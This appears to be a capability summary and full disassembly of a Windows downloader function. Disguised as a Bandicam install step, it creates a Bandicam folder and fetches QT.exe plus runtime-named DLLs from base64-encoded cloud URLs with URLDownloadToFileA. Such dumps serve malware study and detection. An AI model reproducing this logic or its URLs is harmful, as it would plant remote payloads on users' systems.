Function at 0x401390
Capabilities:
Create directory
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402b95
mov eax, dword fs:[0]
push eax
sub esp, 0x48
push esi
mov eax, dword [section..data]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
push str.C:Program_Files__x86_Bandicam
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push str.C:Program_Files__x86_BandicamQT.exe
lea ecx, [ebp - 0x24]
call fcn.00401b40
push str.aHR0cHM6Ly93d3dj_d3YtMTMyMzczNzI4Ny5jb3MuYXAtc2luZ3VwYXJ0eS5teXFjbG91ZC5jb20vUVQuZXhl
lea ecx, [ebp - 0x3c]
mov dword [ebp - 4], 0
call fcn.00401b40
lea edx, [ebp - 0x3c]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x54]
call fcn.00401170
cmp dword [ebp - 0x10], 0xf
lea ecx, [ebp - 0x24]
cmova ecx, dword [ebp - 0x24]
cmp dword [eax + 0x14], 0xf
jbe 0x401406
mov eax, dword [eax]
mov esi, dword [sym.imp.urlmon.dll_URLDownloadToFileA]
push 0
push 0
push ecx
push eax
push 0
call esi
mov ecx, dword [ebp - 0x40]
cmp ecx, 0xf
jbe 0x40144c
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401442
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401442
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00401dc5
add esp, 8
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x28]
cmp ecx, 0xf
jbe 0x401480
mov edx, dword [ebp - 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401476
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4014ad
push ecx
push edx
call fcn.00401dc5
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
cmp ecx, 0xf
jbe 0x4014bd
mov edx, dword [ebp - 0x24]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4014b3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4014b3
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00401dc5
add esp, 8
push str.C:Program_Files__x86_Bandicamcximagecrt.dll
lea ecx, [ebp - 0x24]
call fcn.00401b40
push str.aHR0cHM6Ly93d3dj_d3YtMTMyMzczNzI4Ny5jb3MuYXAtc2luZ3VwYXJ0eS5teXFjbG91ZC5jb20vY3hpbWFnZWNydC5kbGw
lea ecx, [ebp - 0x3c]
mov dword [ebp - 4], 2
call fcn.00401b40
lea edx, [ebp - 0x3c]
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x54]
call fcn.00401170
cmp dword [ebp - 0x10], 0xf
lea ecx, [ebp - 0x24]
cmova ecx, dword [ebp - 0x24]
cmp dword [eax + 0x14], 0xf
jbe 0x401500
mov eax, dword [eax]
push 0
push 0
push ecx
push eax
push 0
call esi
mov ecx, dword [ebp - 0x40]
cmp ecx, 0xf
jbe 0x401540
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401536
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401536
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00401dc5
add esp, 8
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x28]
cmp ecx, 0xf
jbe 0x401574
mov edx, dword [ebp - 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40156a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4015a1
push ecx
push edx
call fcn.00401dc5
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
cmp ecx, 0xf
jbe 0x4015b1
mov edx, dword [ebp - 0x24]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4015a7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4015a7
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00401dc5
add esp, 8
push str.C:Program_Files__x86_Bandicammsvcp120.dll
lea ecx, [ebp - 0x24]
call fcn.00401b40
push str.aHR0cHM6Ly93d3dj_d3YtMTMyMzczNzI4Ny5jb3MuYXAtc2luZ3VwYXJ0eS5teXFjbG91ZC5jb20vbXN2Y3AxMjAuZGxs
lea ecx, [ebp - 0x3c]
mov dword [ebp - 4], 4
call fcn.00401b40
lea edx, [ebp - 0x3c]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x54]
call fcn.00401170
cmp dword [ebp - 0x10], 0xf
lea ecx, [ebp - 0x24]
cmova ecx, dword [ebp - 0x24]
cmp dword [eax + 0x14], 0xf
jbe 0x4015f4
mov eax, dword [eax]
push 0
push 0
push ecx
push eax
push 0
call esi
mov ecx, dword [ebp - 0x40]
cmp ecx, 0xf
jbe 0x401634
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40162a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40162a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00401dc5
add esp, 8
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x28]
cmp ecx, 0xf
jbe 0x401668
mov edx, dword [ebp - 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40165e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401695
push ecx
push edx
call fcn.00401dc5
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
cmp ecx, 0xf
jbe 0x4016a5
mov edx, dword [ebp - 0x24]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40169b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40169b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00401dc5
add esp, 8
push str.C:Program_Files__x86_Bandicammsvcr120.dll
lea ecx, [ebp - 0x24]
call fcn.00401b40
push str.aHR0cHM6Ly93d3dj_d3YtMTMyMzczNzI4Ny5jb3MuYXAtc2luZ3VwYXJ0eS5teXFjbG91ZC5jb20vbXN2Y3JwMTIwLmRs
lea ecx, [ebp - 0x3c]
mov dword [ebp - 4], 6
call fcn.00401b40
lea edx, [ebp - 0x3c]
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x54]
call fcn.00401170
cmp dword [ebp - 0x10], 0xf
lea ecx, [ebp - 0x24]
cmova ecx, dword [ebp - 0x24]
cmp dword [eax + 0x14], 0xf
jbe 0x4016e8
mov eax, dword [eax]
push 0
push 0
push ecx
push eax
push 0
call esi
mov ecx, dword [ebp - 0x40]
cmp ecx, 0xf
jbe 0x401728
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40171e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40171e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00401dc5
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x28]
cmp ecx, 0xf
jbe 0x40175c
mov edx, dword [ebp - 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401752
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401789
push ecx
push edx
call fcn.00401dc5
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
cmp ecx, 0xf
jbe 0x401799
mov edx, dword [ebp - 0x24]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40178f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40178f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00401dc5
add esp, 8
push str.C:Program_Files__x86_Bandicam_vcruntime140.dll
lea ecx, [ebp - 0x24]
call fcn.00401b40
push str.aHR0cHM6Ly93d3dj_d3YtMTMyMzczNzI4Ny5jb3MuYXAtc2luZ3VwYXJ0eS5teXFjbG91ZC5jb20vdmNydW50aW1lMTQwLmRs
lea ecx, [ebp - 0x3c]
mov dword [ebp - 4], 8
call fcn.00401b40
lea edx, [ebp - 0x3c]
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x54]
call fcn.00401170
cmp dword [ebp - 0x10], 0xf
lea ecx, [ebp - 0x24]
cmova ecx, dword [ebp - 0x24]
cmp dword [eax + 0x14], 0xf
jbe 0x4017dc
mov eax, dword [eax]
push 0
push 0
push ecx
push eax
push 0
call esi
mov ecx, dword [ebp - 0x40]
cmp ecx, 0xf
jbe 0x40181c
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401812
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401812
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00401dc5
add esp, 8
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x28]
cmp ecx, 0xf
jbe 0x401850
mov edx, dword [ebp - 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401846
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40187d
push ecx
push edx
call fcn.00401dc5
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
cmp ecx, 0xf
jbe 0x40188d
mov edx, dword [ebp - 0x24]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401883
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401883
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00401dc5
add esp, 8
push str.C:Program_Files__x86_Bandicammsvcp140.dll
lea ecx, [ebp - 0x24]
call fcn.00401b40
push str.aHR0cHM6Ly93d3dj_d3YtMTMyMzczNzI4Ny5jb3MuYXAtc2luZ3VwYXJ0eS5teXFjbG91ZC5jb20vbXN2Y3AxNDAuZGxs
lea ecx, [ebp - 0x3c]
mov dword [ebp - 4], 0xa
call fcn.00401b40
lea edx, [ebp - 0x3c]
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x54]
call fcn.00401170
cmp dword [ebp - 0x10], 0xf
lea ecx, [ebp - 0x24]
cmova ecx, dword [ebp - 0x24]
cmp dword [eax + 0x14], 0xf
jbe 0x4018d0
mov eax, dword [eax]
push 0
push 0
push ecx
push eax
push 0
call esi
mov ecx, dword [ebp - 0x40]
cmp ecx, 0xf
jbe 0x401910
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401906
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401906
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00401dc5
add esp, 8
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x28]
cmp ecx, 0xf
jbe 0x401944
mov edx, dword [ebp - 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40193a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401971
push ecx
push edx
call fcn.00401dc5
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
cmp ecx, 0xf
jbe 0x401981
mov edx, dword [ebp - 0x24]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401977
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401977
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00401dc5
add esp, 8
push str.C:Program_Files__x86_Bandicamlibcurl.dll
lea ecx, [ebp - 0x3c]
call fcn.00401b40
push str.aHR0cHM6Ly93d3czMS0xMzIzNzM3Mjg3LmNvcy5hcC1zaW5ndXBhcnR5Lm15cWNsb3VkLmNvbS9saWJjdXJsLmRs
lea ecx, [ebp - 0x24]
mov dword [ebp - 4], 0xc
call fcn.00401b40
lea edx, [ebp - 0x24]
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x54]
call fcn.00401170
cmp dword [ebp - 0x28], 0xf
lea ecx, [ebp - 0x3c]
cmova ecx, dword [ebp - 0x3c]
cmp dword [eax + 0x14], 0xf
jbe 0x4019c4
mov eax, dword [eax]
push 0
push 0
push ecx
push eax
push 0
call esi
mov ecx, dword [ebp - 0x40]
cmp ecx, 0xf
jbe 0x401a04
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4019fa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4019fa
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00401dc5
add esp, 8
mov ecx, dword [ebp - 0x10]
cmp ecx, 0xf
jbe 0x401a34
mov edx, dword [ebp - 0x24]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401a2a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401a5a
push ecx
push edx
call fcn.00401dc5
add esp, 8
mov ecx, dword [ebp - 0x28]
cmp ecx, 0xf
jbe 0x401a6a
mov edx, dword [ebp - 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401a60
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401a60
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00401dc5
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret